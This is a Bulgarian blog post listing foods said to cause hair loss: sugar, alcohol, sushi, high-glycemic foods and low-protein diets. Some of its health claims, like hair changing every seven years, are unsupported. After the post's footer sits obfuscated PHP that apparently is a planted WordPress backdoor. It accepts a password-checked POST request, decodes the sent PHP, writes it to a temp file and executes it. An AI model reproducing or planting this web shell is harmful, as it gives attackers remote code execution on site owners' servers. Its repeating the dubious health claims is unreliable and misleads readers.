Храни, с които да внимаваме, за да имаме здрава коса | Косопад

Храни, с които да внимаваме, за да имаме здрава коса

zabraneni-hrani

Въпреки че понякога не се забелязва изобщо, косата се променя всеки 7 години, като това изменя цвета, блясъка и силата й. Консумацията на определени храни обаче, променя този процес и може да доведе до извънреден косопад.

Пропускането на закуската, приемът на по- малко от 4 чаши вода на ден и хаотичното хранене, увреждат скалпа.

1 Захар. Прекаляването със захарта стимулира производството на инсулин и на мъжкия хормон андроген, който намалява размера на космените фоликули и отслабва косата.

2 Алкохол. Приемът му пречи на правилното усвояване на важните за косата минерали, като цинка, който стимулира растежа и еластичността на косата.

alkohol-dieta-1

3 Суши. Въпреки че е сред най- здравословните храни, тези храни са богати на живак, заради рибата, а високите му нива могат да доведат до косопад.

4 Храни с висок гликемичен индекс. Бързо се разграждат до захар, която във високи количества увеличава нивата на андрогена, мъжкият хормон, който се свързва с оплешивяването.

5 Нископротеинова диета. Косата е изградена от протеини, а недостига им кара косата да губи блясък, прави я слаба и лесно късаща се.

01. декември 2015 17:50:50 от Надя Колева
Категории: Любопитно за косопада | Етикети: , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}